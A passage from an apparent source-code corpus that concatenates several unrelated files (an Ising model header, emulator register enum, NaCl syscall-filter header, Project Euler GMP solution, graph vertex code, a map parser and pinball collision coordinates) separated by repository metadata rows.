inline size_t YMinusOne(const size_t & y) const { return (y == 0 ? y_size_ - 1 : y - 1); }
inline int NearestSum(const size_t & x, const size_t & y) const override
{
return lattice_[x][YMinusOne(y)] + lattice_[x][YPlusOne(y)]
+ lattice_[XMinusOne(x)][y] + lattice_[XPlusOne(x)][y];
}
};
// 2D Ising model with free boundary condition (with zero padding).
class Ising2D_FBC : public Ising2D
{
public:
using Ising2D::Ising2D;
Ising2D_FBC(const LatticeSize & size);
Ising2D_FBC(const size_t & size);
Ising2D_FBC(const size_t & x_size, const size_t & y_size);
void Initialize() override;
private:
inline int NearestSum(const size_t & x, const size_t & y) const override
{
return lattice_[x][y - 1] + lattice_[x][y + 1]
+ lattice_[x - 1][y] + lattice_[x + 1][y];
}
};
ISING_NAMESPACE_END
#endif
| 33.597222 | 94 | 0.613477 |
ec1b214560c25d6109811a3e24117fef29a79d50 | 460 | h | C | src/Infrastructure/src/Emulator/Cores/tlib/arch/i386/cpu_registers.h | UPBIoT/renode-iot | 397603b4921af29d67ff94526c88dc02c47dea32 | [
"MIT"
] | 3 | 2020-11-30T08:22:04.000Z | 2020-12-01T00:57:12.000Z | src/Infrastructure/src/Emulator/Cores/tlib/arch/i386/cpu_registers.h | UPBIoT/renode-iot | 397603b4921af29d67ff94526c88dc02c47dea32 | [
"MIT"
] | null | null | null | src/Infrastructure/src/Emulator/Cores/tlib/arch/i386/cpu_registers.h | UPBIoT/renode-iot | 397603b4921af29d67ff94526c88dc02c47dea32 | [
"MIT"
] | null | null | null | #include "cpu-defs.h"
typedef enum {
EAX_32 = 0,
ECX_32 = 1,
EDX_32 = 2,
EBX_32 = 3,
ESP_32 = 4,
EBP_32 = 5,
ESI_32 = 6,
EDI_32 = 7,
EIP_32 = 8,
EFLAGS_32 = 9,
CS_32 = 10,
SS_32 = 11,
DS_32 = 12,
ES_32 = 13,
FS_32 = 14,
GS_32 = 15,
CR0_32 = 16,
CR1_32 = 17,
CR2_32 = 18,
CR3_32 = 19,
CR4_32 = 20
} Registers;
| 17.692308 | 21 | 0.413043 |
3bc284ed8200f350b608dd051b3678f0e5c23f04 | 1,441 | h | C | src/trusted/sandbox/linux/nacl_syscall_filter.h | eseidel/native_client_patches | c699f77e085b91fcc1684ecb63e2e211733afbde | [
"BSD-3-Clause"
] | 4 | 2015-10-27T04:43:02.000Z | 2021-08-13T08:21:45.000Z | src/trusted/sandbox/linux/nacl_syscall_filter.h | eseidel/native_client_patches | c699f77e085b91fcc1684ecb63e2e211733afbde | [
"BSD-3-Clause"
] | null | null | null | src/trusted/sandbox/linux/nacl_syscall_filter.h | eseidel/native_client_patches | c699f77e085b91fcc1684ecb63e2e211733afbde | [
"BSD-3-Clause"
] | 1 | 2015-11-08T10:18:42.000Z | 2015-11-08T10:18:42.000Z | /*
* Copyright 2008 The Native Client Authors. All rights reserved.
* Use of this source code is governed by a BSD-style license that can
* be found in the LICENSE file.
*/
// Defines the set of rules and checks on syscalls of the sandboxed
// process. Should be extensible with virtual methods for defining
// different types of sandboxing.
#include <sys/types.h>
#ifndef NATIVE_CLIENT_SANDBOX_LINUX_NACL_SYSCALL_FILTER_H_
#define NATIVE_CLIENT_SANDBOX_LINUX_NACL_SYSCALL_FILTER_H_
#define NACL_SYSCALL_TABLE_SIZE 500
class SyscallChecker;
struct user_regs_struct;
struct SandboxState {
bool opened_untrusted;
bool done_exec;
pid_t pid;
};
class NaclSyscallFilter {
public:
NaclSyscallFilter(const char* nacl_module_name);
~NaclSyscallFilter();
static const int kMaxPathLength = 1024;
// Return true if the regs/pid/entering satisfy the syscall (found
// through regs).
bool RunRule(pid_t pid, struct user_regs_struct* regs, bool entering);
// If the code is changed to allow bad syscalls, print the list and
// number of calls.
void DebugPrintBadSyscalls();
private:
void InitSyscallRules();
void PrintAllowedRules();
SyscallChecker* syscall_rules_[NACL_SYSCALL_TABLE_SIZE];
int syscall_calls_[NACL_SYSCALL_TABLE_SIZE];
// Reset on every call to RunRule().
struct SandboxState state_;
const char* nacl_module_name_;
};
#endif // NATIVE_CLIENT_SANDBOX_LINUX_NACL_SYSCALL_FILTER_H_
| 26.685185 | 72 | 0.776544 |
5f6203e71a01dec58e9719a485ffc6af5a30c86a | 667 | c | C | c/p080.c | ericdahl/project-euler | 4757e2c44ca9423471b2938fc1e3dd1796f000b3 | [
"BSD-3-Clause"
] | null | null | null | c/p080.c | ericdahl/project-euler | 4757e2c44ca9423471b2938fc1e3dd1796f000b3 | [
"BSD-3-Clause"
] | 1 | 2016-01-18T02:02:50.000Z | 2016-01-18T02:02:50.000Z | c/p080.c | ericdahl/project-euler | 4757e2c44ca9423471b2938fc1e3dd1796f000b3 | [
"BSD-3-Clause"
] | null | null | null | #include <stdio.h>
#include <stdlib.h>
#include <gmp.h>
// cc -Wall -I/usr/local/include -L/usr/local/lib -lgmp p080.c
int main(int argc, char** argv) {
mpf_t root;
mpf_init2(root, 5000);
mp_exp_t ptr;
const unsigned int BUF_LEN = 101;
char buf[BUF_LEN];
unsigned long total = 0;
for (int i = 2; i <= 100; ++i) {
mpf_sqrt_ui(root, i);
if (mpf_cmp_ui(root, mpf_get_ui(root)) == 0) {
continue;
}
mpf_get_str(buf, &ptr, 10, 102, root);
for (char* c = buf; c - buf < 100; c++) {
total += *c - '0';
}
}
printf("%lu\n", total);
return EXIT_SUCCESS;
}
| 19.057143 | 62 | 0.524738 |
830145d402c48ee5cfa0b609457d70e33a61bd3f | 235 | h | C | Project/LooseLeaf/MMUntouchableTutorialView.h | rogues-gallery/loose-leaf | 97269de375031af29c13f270f121cbe082aa453b | [
"MIT"
] | 592 | 2016-12-29T18:30:08.000Z | 2022-03-23T09:55:33.000Z | Project/LooseLeaf/MMUntouchableTutorialView.h | rogues-gallery/loose-leaf | 97269de375031af29c13f270f121cbe082aa453b | [
"MIT"
] | 179 | 2016-12-28T21:43:07.000Z | 2020-07-30T12:04:30.000Z | Project/LooseLeaf/MMUntouchableTutorialView.h | rogues-gallery/loose-leaf | 97269de375031af29c13f270f121cbe082aa453b | [
"MIT"
] | 101 | 2016-12-29T00:22:46.000Z | 2021-08-08T10:16:13.000Z | //
// MMUntouchableTutorialView.h
// LooseLeaf
//
// Created by Adam Wulf on 6/9/15.
// Copyright (c) 2015 Milestone Made, LLC. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface MMUntouchableTutorialView : UIView
@end
| 15.666667 | 64 | 0.702128 |
7dd32922deaf7f165290d7fe7cc06142c6414392 | 236 | h | C | WechatOC/Other/MyNaviViewController.h | sishenyihuba/WechatTimeLine | bf7d8b17e386d19ca6a516bab18f2bf76bf0d486 | [
"MIT"
] | 6 | 2017-03-11T03:03:35.000Z | 2017-10-29T12:44:02.000Z | WechatOC/Other/MyNaviViewController.h | sishenyihuba/WechatTimeLine | bf7d8b17e386d19ca6a516bab18f2bf76bf0d486 | [
"MIT"
] | null | null | null | WechatOC/Other/MyNaviViewController.h | sishenyihuba/WechatTimeLine | bf7d8b17e386d19ca6a516bab18f2bf76bf0d486 | [
"MIT"
] | 3 | 2017-03-11T03:03:39.000Z | 2019-03-01T16:28:12.000Z | //
// MyNaviViewController.h
// WechatOC
//
// Created by daixianglong on 2017/3/3.
// Copyright © 2017年 daixianglong. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface MyNaviViewController : UINavigationController
@end
| 16.857143 | 56 | 0.728814 |
4636377cf54568a4d1652540b82b720246bde39c | 2,296 | c | C | phase_1/eval/xenia/challenge/src/container/vertex_identifier.c | cromulencellc/chess-aces | 7780e29de1991758078816ca501ff79a2586b8c2 | [
"MIT"
] | null | null | null | phase_1/eval/xenia/challenge/src/container/vertex_identifier.c | cromulencellc/chess-aces | 7780e29de1991758078816ca501ff79a2586b8c2 | [
"MIT"
] | null | null | null | phase_1/eval/xenia/challenge/src/container/vertex_identifier.c | cromulencellc/chess-aces | 7780e29de1991758078816ca501ff79a2586b8c2 | [
"MIT"
] | null | null | null | #include "vertex_identifier.h"
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include "rust.h"
const static struct object vertex_identifier_object = {
(object_delete_f) vertex_identifier_delete,
(object_copy_f) vertex_identifier_copy,
(object_cmp_f) vertex_identifier_cmp
};
const struct object * object_type_vertex_identifier;
struct vertex_identifier * vertex_identifier_create() {
struct vertex_identifier * vertex_identifier =
(struct vertex_identifier *) malloc(sizeof(struct vertex_identifier));
vertex_identifier->object = &vertex_identifier_object;
vertex_identifier->node_id = 0;
vertex_identifier->label = NULL;
return vertex_identifier;
}
struct vertex_identifier * vertex_identifier_create_node_id(uint64_t node_id) {
struct vertex_identifier * vertex_identifier = vertex_identifier_create();
vertex_identifier->type = VI_NODE_ID;
vertex_identifier->node_id = node_id;
return vertex_identifier;
}
struct vertex_identifier * vertex_identifier_create_label(const char * label) {
struct vertex_identifier * vertex_identifier = vertex_identifier_create();
vertex_identifier->type = VI_LABEL;
vertex_identifier->label = unwrap_null(strdup(label));
return vertex_identifier;
}
void vertex_identifier_delete(struct vertex_identifier * vi) {
if (vi->type == VI_LABEL) {
free(vi->label);
}
free(vi);
}
struct vertex_identifier * vertex_identifier_copy(
const struct vertex_identifier * vi
) {
if (vi->type == VI_NODE_ID) {
return vertex_identifier_create_node_id(vi->node_id);
}
else {
return vertex_identifier_create_label(vi->label);
}
}
int vertex_identifier_cmp(
const struct vertex_identifier * lhs,
const struct vertex_identifier * rhs
) {
if (lhs->type == VI_NODE_ID) {
if (rhs->type == VI_LABEL) {
return -1;
}
else if (lhs->node_id < rhs->node_id) {
return -1;
}
else if (lhs->node_id > rhs->node_id) {
return 1;
}
else {
return 0;
}
}
else {
if (rhs->type == VI_NODE_ID) {
return 1;
}
else {
return strcmp(lhs->label, rhs->label);
}
}
} | 26.390805 | 79 | 0.667247 |
048500809d29db19c7315e92038d2e049b59b4c4 | 1,076 | c | C | bsq/get_map.c | gcontarini/42Piscine | 630d9c3bbbb75ae9eadb448ba28b23d0218fcbf1 | [
"MIT"
] | null | null | null | bsq/get_map.c | gcontarini/42Piscine | 630d9c3bbbb75ae9eadb448ba28b23d0218fcbf1 | [
"MIT"
] | null | null | null | bsq/get_map.c | gcontarini/42Piscine | 630d9c3bbbb75ae9eadb448ba28b23d0218fcbf1 | [
"MIT"
] | null | null | null | #include "ft.h"
int **get_int_mtx(int ***mtx, t_fheader fh)
{
int i;
*mtx = malloc(fh.lines * sizeof(int *));
if (!(*mtx))
return (0);
i = 0;
while (i < fh.lines)
{
(*mtx)[i] = malloc(fh.cols * sizeof(int));
if (!(*mtx)[i++])
return (0);
}
return (*mtx);
}
char **get_char_mtx(char ***mtx, t_fheader fh)
{
int i;
*mtx = malloc(fh.lines * sizeof(char *));
if (!(*mtx))
return (0);
i = 0;
while (i < fh.lines)
{
(*mtx)[i] = malloc(fh.cols * sizeof(char));
if (!(*mtx)[i++])
return (0);
}
return (*mtx);
}
int open_mtx_map(char ***mtx, char *bff)
{
int i;
int j;
while (*bff != '\n')
bff++;
bff++;
i = 0;
j = 0;
while (*bff)
{
if (*bff == '\n')
{
j = 0;
i++;
}
else
(*mtx)[i][j++] = *bff;
bff++;
}
return (0);
}
int fill_mtx(int ***imtx, char ***cmtx, t_fheader fh)
{
int i;
int j;
i = 0;
while (i < fh.lines)
{
j = 0;
while (j < fh.cols)
{
if ((*cmtx)[i][j] == fh.emp)
(*imtx)[i][j] = 1;
else if ((*cmtx)[i][j] == fh.ob)
(*imtx)[i][j] = 0;
j++;
}
i++;
}
return (0);
}
| 13.121951 | 53 | 0.468401 |
d102fd22ff4aa1dca58110922a3be97617e5f5e2 | 327 | h | C | Take-out Demo/Take-out Demo/Kit/Onekit/UIView+Onekit.h | BiggerMax/Take-out-Demo | db1fff0b9d2c26ea2b00a8019e781ed4cb60086a | [
"MIT"
] | null | null | null | Take-out Demo/Take-out Demo/Kit/Onekit/UIView+Onekit.h | BiggerMax/Take-out-Demo | db1fff0b9d2c26ea2b00a8019e781ed4cb60086a | [
"MIT"
] | null | null | null | Take-out Demo/Take-out Demo/Kit/Onekit/UIView+Onekit.h | BiggerMax/Take-out-Demo | db1fff0b9d2c26ea2b00a8019e781ed4cb60086a | [
"MIT"
] | null | null | null | //
// UIView+Onekit.h
// iOS7
//
// Created by 张 瑾 on 13-9-17.
// Copyright (c) 2013年 Edison. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface UIView (Onekit)
@property NSString* placeholder2;
@property NSString* text2;
@property NSString* title2;
- (UIImage*)blur:(UIView*)backgroundView;
- (void)clear;
@end
| 17.210526 | 52 | 0.688073 |
93a63dac7fd6126b4950af89c224acede860dd21 | 42 | c | C | cpp/ql/test/library-tests/blocks/deduplication/secondary.c | vadi2/codeql | a806a4f08696d241ab295a286999251b56a6860c | [
"MIT"
] | 4,036 | 2020-04-29T00:09:57.000Z | 2022-03-31T14:16:38.000Z | cpp/ql/test/library-tests/blocks/deduplication/secondary.c | vadi2/codeql | a806a4f08696d241ab295a286999251b56a6860c | [
"MIT"
] | 2,970 | 2020-04-28T17:24:18.000Z | 2022-03-31T22:40:46.000Z | cpp/ql/test/library-tests/blocks/deduplication/secondary.c | ScriptBox99/github-codeql | 2ecf0d3264db8fb4904b2056964da469372a235c | [
"MIT"
] | 794 | 2020-04-29T00:28:25.000Z | 2022-03-30T08:21:46.000Z | #define FN secondary
#include "primary.c"
| 14 | 20 | 0.761905 |
1a7f5ade5323fe0bd76d590bf15fb4429b287404 | 4,224 | h | C | Game/Pinball Droid/Chain.h | Needlesslord/PHYSICS2-Pinball | 244ba35c49597ba77b9e8c747f3e45fe1526f88a | [
"MIT"
] | 2 | 2019-11-30T10:17:06.000Z | 2020-10-16T12:31:33.000Z | Game/Pinball Droid/Chain.h | Needlesslord/PHYSICS2-Pinball | 244ba35c49597ba77b9e8c747f3e45fe1526f88a | [
"MIT"
] | null | null | null | Game/Pinball Droid/Chain.h | Needlesslord/PHYSICS2-Pinball | 244ba35c49597ba77b9e8c747f3e45fe1526f88a | [
"MIT"
] | null | null | null | #ifndef __CHAIN_H__
#define __CHAIN_H__
int Background[180] = {
309, 797,
475, 666,
475, 518,
428, 480,
429, 444,
400, 393,
400, 304,
427, 273,
425, 270,
428, 262,
426, 255,
424, 249,
416, 245,
403, 248,
398, 245,
429, 203,
429, 66,
417, 54,
406, 48,
392, 41,
373, 60,
372, 81,
367, 83,
366, 73,
365, 58,
390, 36,
403, 42,
414, 47,
428, 57,
434, 65,
430, 436,
476, 436,
476, 62,
462, 36,
447, 21,
428, 10,
414, 4,
403, 2,
312, 2,
296, 7,
279, 15,
267, 23,
257, 32,
254, 42,
253, 78,
248, 80,
222, 55,
222, 33,
221, 33,
219, 24,
212, 16,
205, 14,
198, 16,
191, 21,
189, 31,
187, 31,
186, 58,
165, 58,
158, 43,
149, 30,
135, 19,
119, 9,
100, 2,
86, 2,
71, 2,
48, 10,
29, 22,
17, 32,
11, 40,
4, 51,
0, 63,
0, 320,
1, 357,
11, 386,
14, 397,
34, 435,
59, 462,
59, 476,
1, 519,
0, 673,
0, 737,
18, 737,
25, 736,
30, 731,
34, 727,
36, 722,
36, 717,
39, 717,
39, 695,
170, 797
};
int BackgroundL[14] = {
90, 517,
94, 523,
154, 651,
153, 657,
91, 612,
85, 603,
85, 518
};
int BackgroundR[18] = {
318, 655,
382, 518,
386, 516,
390, 519,
389, 596,
386, 607,
379, 615,
323, 657,
320, 657
};
int ChainL[16] = {
48, 538,
48, 597,
60, 632,
154, 703,
151, 708,
55, 634,
44, 601,
44, 538
};
int ChainR[22] = {
430, 538,
435, 538,
435, 601,
424, 632,
419, 638,
328, 708,
326, 707,
326, 703,
419, 631,
430, 598,
430, 543
};
int BackgroundU[20] = {
38, 348,
59, 360,
100, 285,
42, 263,
38, 255,
36, 244,
40, 234,
48, 225,
44, 221,
32, 234
};
int BackgroundLine[8] = {
272, 220,
315, 263,
317, 260,
275, 218
};
int PivoteUR[42] = {
287, 170,
292, 170,
299, 166,
304, 162,
306, 157,
303, 155,
302, 150,
309, 144,
311, 135,
304, 125,
294, 120,
284, 119,
273, 121,
267, 126,
262, 134,
264, 144,
270, 149,
267, 156,
270, 162,
276, 168,
282, 169
};
int PivoteUL[40] = {
363, 169,
369, 169,
380, 161,
380, 155,
378, 155,
377, 152,
387, 144,
387, 132,
377, 122,
368, 119,
357, 119,
346, 123,
339, 131,
337, 138,
338, 143,
347, 151,
344, 155,
346, 164,
350, 167,
356, 169
};
int PivoteU[46] = {
88, 100,
92, 100,
97, 99,
103, 91,
103, 85,
100, 84,
100, 82,
108, 76,
110, 70,
109, 63,
103, 55,
93, 50,
82, 48,
68, 53,
61, 60,
60, 66,
60, 73,
69, 81,
69, 83,
67, 85,
67, 92,
72, 98,
79, 100
};
int PivoteL[54] = {
316, 189,
310, 189,
305, 191,
300, 193,
295, 196,
291, 200,
289, 206,
291, 212,
294, 216,
300, 220,
297, 224,
297, 229,
300, 233,
307, 238,
312, 239,
317, 239,
323, 238,
328, 235,
331, 230,
331, 225,
328, 219,
333, 217,
337, 212,
338, 205,
335, 199,
330, 194,
321, 190
};
int BouncyL[8] = {
93, 522,
96, 523,
154, 646,
152, 648
};
int BouncyR[8] = {
380, 522,
377, 522,
319, 646,
320, 649
};
int BarraL[12] = {
288, 56,
286, 61,
286, 81,
289, 84,
293, 81,
293, 60
};
int BarraR[12] = {
329, 57,
326, 58,
326, 82,
329, 84,
332, 81,
332, 58
};
int Hole1[12] = {
195, 17,
202, 14,
211, 15,
217, 21,
189, 29,
191, 22
};
int Hole2[10] = {
400, 55,
388, 60,
414, 67,
412, 62,
406, 57
};
int Hole3[14] = {
406, 247,
427, 266,
428, 260,
427, 253,
424, 249,
417, 245,
411, 245
};
int Hole4[12] = {
36, 719,
10, 726,
14, 730,
21, 733,
28, 731,
34, 727
};
int Light1[12] = {
168, 62,
185, 62,
185, 67,
182, 71,
172, 71,
168, 67
};
int Light2[10] = {
68, 355,
76, 340,
81, 344,
81, 353,
73, 357
};
int Light3[10] = {
78, 337,
87, 322,
92, 328,
91, 335,
86, 339
};
int Light4[8] = {
88, 319,
97, 304,
103, 313,
98, 322
};
int Light5[12] = {
270, 223,
282, 236,
278, 239,
272, 239,
266, 233,
266, 226
};
int Light6[12] = {
285, 238,
297, 251,
293, 254,
287, 254,
281, 247,
281, 241
};
int Light7[12] = {
300, 253,
313, 266,
306, 270,
302, 269,
296, 263,
296, 256
};
int Light8[10] = {
400, 394,
407, 410,
399, 411,
393, 403,
394, 396
};
int Light9[12] = {
409, 412,
418, 428,
412, 429,
406, 428,
403, 420,
405, 415
};
int Light10[12] = {
419, 430,
427, 445,
422, 448,
416, 446,
413, 439,
414, 432
};
#endif // !__CHAIN_H__ | 10.081146 | 25 | 0.514441 |
d18afa1916c09f599719c3da07407f87fe500a00 | 12,270 | h | C | projects/biogears/libBiogears/include/biogears/io/io-manager.h | ajbaird/core | 81fa9ba41efe07c3c0dacf0cad7bb4e3016a99b5 | [
"Apache-2.0"
] | 42 | 2018-05-15T18:10:15.000Z | 2022-02-16T23:50:18.000Z | projects/biogears/libBiogears/include/biogears/io/io-manager.h | ajbaird/core | 81fa9ba41efe07c3c0dacf0cad7bb4e3016a99b5 | [
"Apache-2.0"
] | 57 | 2018-07-17T20:25:36.000Z | 2022-01-18T20:44:49.000Z | projects/biogears/libBiogears/include/biogears/io/io-manager.h | jules-bergmann/biogears-core | 92e13287cd2b878a75a47190f09e694d57c16e43 | [
"Apache-2.0"
] | 51 | 2018-07-05T16:12:45.000Z | 2022-02-14T20:53:30.000Z | #pragma once
/**************************************************************************************
Copyright 2021 Applied Research Associates, Inc.
Licensed under the Apache License, Version 2.0 (the "License"); you may not use
this file except in compliance with the License. You may obtain a copy of the License
at:
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software distributed under
the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
CONDITIONS OF ANY KIND, either express or implied. See the License for the
specific language governing permissions and limitations under the License.
**************************************************************************************/
#include <biogears/exports.h>
#include <array>
#include <biogears/filesystem/path.h>
#include <vector>
//!
//! Functions for finding resource files that were part of the current biogears release
//! These functions are encoded as part of libbiogears_io
//!
//! Functions are exposed as either biogears::filesystem::path or char const *
//! TODO: Migrate Biogears C++17 and replace biogears::filesystem with std::filesystem
namespace biogears {
BIOGEARS_API std::vector<filesystem::path> ListFiles(std::string const& dir, std::string const& regex, bool recurse = false);
//!
//! IOManager is a class for interacting with the static functions in biogears::io
//! It simplfies interaction with the various resource_file_types at the cost of running
//! If Checks across the entire embeded library when testing for membership
//!
//! TODO: Implmement behavior control
//!
//!
//! Look Second in CWD FILE
//! Look First in BIOGEARS_DATA_ROOT
//! Look in BIOGEARS_INSTALL_ROOT <determined by cmake>
//! Look in the LIBRARY
class IOManager {
private:
enum Fallbacks {
CWD = 0,
DATA,
SCHEMA,
HOME,
INSTALL,
TOTAL_FALLBACKS
};
std::array<std::string, TOTAL_FALLBACKS> m_prefixs;
struct IoConfig {
std::string log = "./";
std::string results = "./";
std::string config = "config/";
std::string ecg = "ecg/";
std::string environments = "environments/";
std::string nutrition = "nutrition/";
std::string override_dir = "override/"; //<! Override is a keyword in most languages so we break convention
std::string patients = "patients/";
std::string states = "states/";
std::string substances = "substances/";
std::string scenarios = "Scenarios/";
std::string templates = "templates/";
std::string schema = "xsd/";
} m_dirs;
public:
BIOGEARS_API IOManager();
BIOGEARS_API IOManager(IOManager const& iom);
BIOGEARS_API IOManager(IOManager&& iom);
BIOGEARS_API IOManager(char const* working_directory);
BIOGEARS_API ~IOManager();
BIOGEARS_API IOManager& operator=(IOManager&& rhs);
BIOGEARS_API IOManager& operator=(IOManager const& rhs);
//!
//! Configuration Functions allow users to override directories which
//! contain various biogears required input files. If the directories
//! are relative for the system they will be appended to BIOGEARS_DATA_ROOT
//!
BIOGEARS_API std::string ResolveConfigFileLocation(std::string const& filename); //! Use current state to determine the destination of a config file.
BIOGEARS_API std::string GetConfigDirectory() const; //! The directory which contains CDM::PhysiologyEngine*StabilizationData files.
BIOGEARS_API void SetConfigDirectory(std::string const& s); //! Defaults to config
BIOGEARS_API filesystem::path FindConfigFile(char const*) const;
BIOGEARS_API std::string ResolveEcgFileLocation(std::string const& filename); //! Use current state to determine the destination of a config file.
BIOGEARS_API std::string GetEcgDirectory() const; //! The directory which contains CDM::ElectroCardioGramWaveformInterpolatorData files.
BIOGEARS_API void SetEcgDirectory(std::string const& s); //! Defaults to ecg
BIOGEARS_API filesystem::path FindEcgFile(char const*) const;
BIOGEARS_API std::string ResolveEnvironmentFileLocation(std::string const& filename); //! Use current state to determine the destination of a config file.
BIOGEARS_API std::string GetEnvironmentsDirectory() const; //! The directory which contains CDM::EnvironmentalConditionsData files.
BIOGEARS_API void SetEnvironmentsDirectory(std::string const& s); //! Defaults to environments
BIOGEARS_API filesystem::path FindEnvironmentFile(char const*) const;
BIOGEARS_API std::string ResolveNutritionFileLocation(std::string const& filename); //! Use current state to determine the destination of a config file.
BIOGEARS_API std::string GetNutritionDirectory() const; //! The directory which contains CDM::NutritionData files.
BIOGEARS_API void SetNutritionDirectory(std::string const& s); //! Defaults to nutrition
BIOGEARS_API filesystem::path FindNutritionFile(char const*) const;
BIOGEARS_API std::string ResolveOverrideFileLocation(std::string const& filename); //! Use current state to determine the destination of a config file.
BIOGEARS_API std::string GetOverrideDirectory() const; //! The directory which contains CDM::BioGearsOverrideData files.
BIOGEARS_API void SetOverrideDirectory(std::string const& s); //! Defaults to override
BIOGEARS_API filesystem::path FindOverrideFile(char const*) const;
BIOGEARS_API std::string ResolvePatientFileLocation(std::string const& filename); //! Use current state to determine the destination of a config file.
BIOGEARS_API std::string GetPatientsDirectory() const; //! The directory which contains CDM::PatientData files.
BIOGEARS_API void SetPatientsDirectory(std::string const& s); //! Defaults to patients
BIOGEARS_API filesystem::path FindPatientFile(char const*) const;
BIOGEARS_API std::string ResolveStateFileLocation(std::string const& filename); //! Use current state to determine the destination of a config file.
BIOGEARS_API std::string GetStatesDirectory() const; //! The directory which contains CDM::BioGearsStateData files.
BIOGEARS_API void SetStatesDirectory(std::string const& s); //! Defaults to states
BIOGEARS_API filesystem::path FindStateFile(char const*) const;
BIOGEARS_API std::string ResolveSubstanceFileLocation(std::string const& filename); //! Use current state to determine the destination of a config file.
BIOGEARS_API std::string GetSubstancesDirectory() const; //! The directory which contains CDM::SubstanceData files.
BIOGEARS_API void SetSubstancesDirectory(std::string const& s); //! Defaults to substances
BIOGEARS_API std::vector<filesystem::path> FindAllSubstanceFiles() const;
BIOGEARS_API filesystem::path FindSubstanceFile(const char*) const;
BIOGEARS_API std::string ResolveScenarioFileLocation(std::string const& filename); //! Use current state to determine the destination of a config file.
BIOGEARS_API std::string GetScenariosDirectory() const; //! The directory which contains CDM::ScenarioData files.
BIOGEARS_API void SetScenariosDirectory(std::string const& s); //! Defaults to Scenarios
BIOGEARS_API filesystem::path FindScenarioFile(const char*) const;
BIOGEARS_API std::string ResolveSchemaFileLocation(std::string const& filename); //! Use current state to determine the destination of a config file.
BIOGEARS_API std::string GetSchemasDirectory() const; //! The directory which contains CDM::SchemaData files.
BIOGEARS_API void SetSchemasDirectory(std::string const& s); //! Defaults to Schemas
BIOGEARS_API filesystem::path FindSchemaFile(const char*) const;
BIOGEARS_API std::string ResolveTemplateFileLocation(std::string const& filename); //! Use current state to determine the destination of a config file.
BIOGEARS_API std::string GetTemplatesDirectory() const; //! The directory which contains CDM::TemplateData files.
BIOGEARS_API void SetTemplatesDirectory(std::string const& s); //! Defaults to Templates
BIOGEARS_API filesystem::path FindTemplateFile(const char*) const;
BIOGEARS_API std::string GetBioGearsDataRootDirectory() const; //! The root directory of pulled from ENV{BIOGEARS_DATA_ROOT} which all but xsd paths are appended. If it does not exist it will be set to the PWD.
BIOGEARS_API void SetBioGearsDataRootDirectory(std::string const& s);
BIOGEARS_API std::string GetBioGearsSchemaRootDirectory() const; //! The root directory of pulled from ENV{BIOGEARS_SCHEMA_ROOT} which all but xsd paths are appended. If not existant will be set to DataRoot
BIOGEARS_API void SetBioGearsSchemaRootDirectory(std::string const& s);
BIOGEARS_API std::string GetBioGearsWorkingDirectory() const; //! Sets the Working directory that all new files will be relative to if given relative directories
BIOGEARS_API void SetBioGearsWorkingDirectory(std::string const& s); //! Defaults to ENV{PWD}
BIOGEARS_API std::string ResolveLogFileLocation(std::string const& filename); //! Use current state to determine the destination of a config file.
BIOGEARS_API std::string GetLogDirectory() const; //! The directory for which Logs will be relative to
BIOGEARS_API void SetLogDirectory(std::string const& s); //! Defaults to the executables current working directory
BIOGEARS_API std::string ResolveResultsFileLocation(std::string const& filename); //! Use current state to determine the destination of a Result file.
BIOGEARS_API std::string GetResultsDirectory() const; //! The directory for which DataTracks and Assessments will be recoreded
BIOGEARS_API void SetResultsDirectory(std::string const& s); //! Defaults to the executables current working directory
#ifdef BIOGEARS_IO_PRESENT
//!
//! API Avaliable when BIOGEARS_IO_PRESENT is true
//! Exposes probing of embedded IO files
BIOGEARS_API bool generate_runtime_directory(const char* file) const; //!< Recreates the embeded runtime directory at the path given.
BIOGEARS_API bool does_embedded_file_exist(const char* file) const; //!< When given a relative path to data_root (e.g ecg/StandardECG.xml ) will return if it is part of the embedded library
BIOGEARS_API char const* get_embedded_resource_file(const char* file, std::size_t& size) const; //!< Return embeded cstring which represents the requested embeded string
BIOGEARS_API size_t get_embedded_resource_file_size(const char* file) const; //!< Return embeded cstring which represents the requested embeded string
BIOGEARS_API char const* get_expected_sha1(const char* file) const; //!< When given a relative path to data_root will return the sha1 data for the matching file
BIOGEARS_API size_t get_directory_count() const; //!< Returns the list of directories embeded IE 1 for each cpp file in libIO/src/directories
BIOGEARS_API bool validate_file(const char* path, const char* embeded_path = nullptr) const; //!< Returns true if the sha1 of path is equal to the embeded files
#endif
//!
//! If provided a file path relative to a biogears_data_root or biogears_scema_root.
//! This function will test the following locations.
//! ENV{PWD}/${file}
//! _biogears_data_root/file
//! _biogears_install_root/file<determined by cmake>
//! BIOGEARS_IO/file
//!
//! If provided an absolute file returns file if it exists.
//!
//! \param file IN c_string of resource file which needs to be resovled
//! \param buffer INOUT memory buffer to be populated with data
//! \param buffer_size IN maximum size of data that can be written to buffer
//! \return size_t - When content_size < buffer_size then this is the number of bytes written to buffer.
//! When content_size >= buffer_size this is the amount of data needed to resolove the resource file
//! buffer[0] will be eof in this case
//!
BIOGEARS_API std::string find_resource_file(char const* file) const;
BIOGEARS_API size_t read_resource_file(char const* file, char* buffer, size_t buffer_size) const;
//!
//! Calculates the SHA1 of the filepath given or the buffer provided
//!
BIOGEARS_API std::string calculate_sha1(const char* path) const;
BIOGEARS_API std::string calculate_sha1(const char* buffer, size_t buffer_size) const;
private:
std::vector<filesystem::path> find_files(std::string suffix, std::string regex, bool recurse = false) const;
};
}
| 60.44335 | 212 | 0.755746 |
7feced8fe94b907117c39e81cec2c5795d58f9e3 | 361 | h | C | src/sp/Sound.h | bqqbarbhg/spear | 727f41fa5197f9681337d1ff37ea63c44708f0d4 | [
"BSD-3-Clause"
] | 29 | 2020-07-27T09:56:02.000Z | 2022-03-28T01:38:07.000Z | src/sp/Sound.h | bqqbarbhg/spear | 727f41fa5197f9681337d1ff37ea63c44708f0d4 | [
"BSD-3-Clause"
] | 3 | 2020-05-29T11:43:20.000Z | 2020-09-04T09:56:56.000Z | src/sp/Sound.h | bqqbarbhg/spear | 727f41fa5197f9681337d1ff37ea63c44708f0d4 | [
"BSD-3-Clause"
] | 2 | 2020-05-29T11:34:46.000Z | 2021-03-08T08:39:07.000Z | #pragma once
#include "Asset.h"
#include "sf/Box.h"
#include "Audio.h"
#include "ext/sp_tools_common.h"
namespace sp {
struct Sound : Asset
{
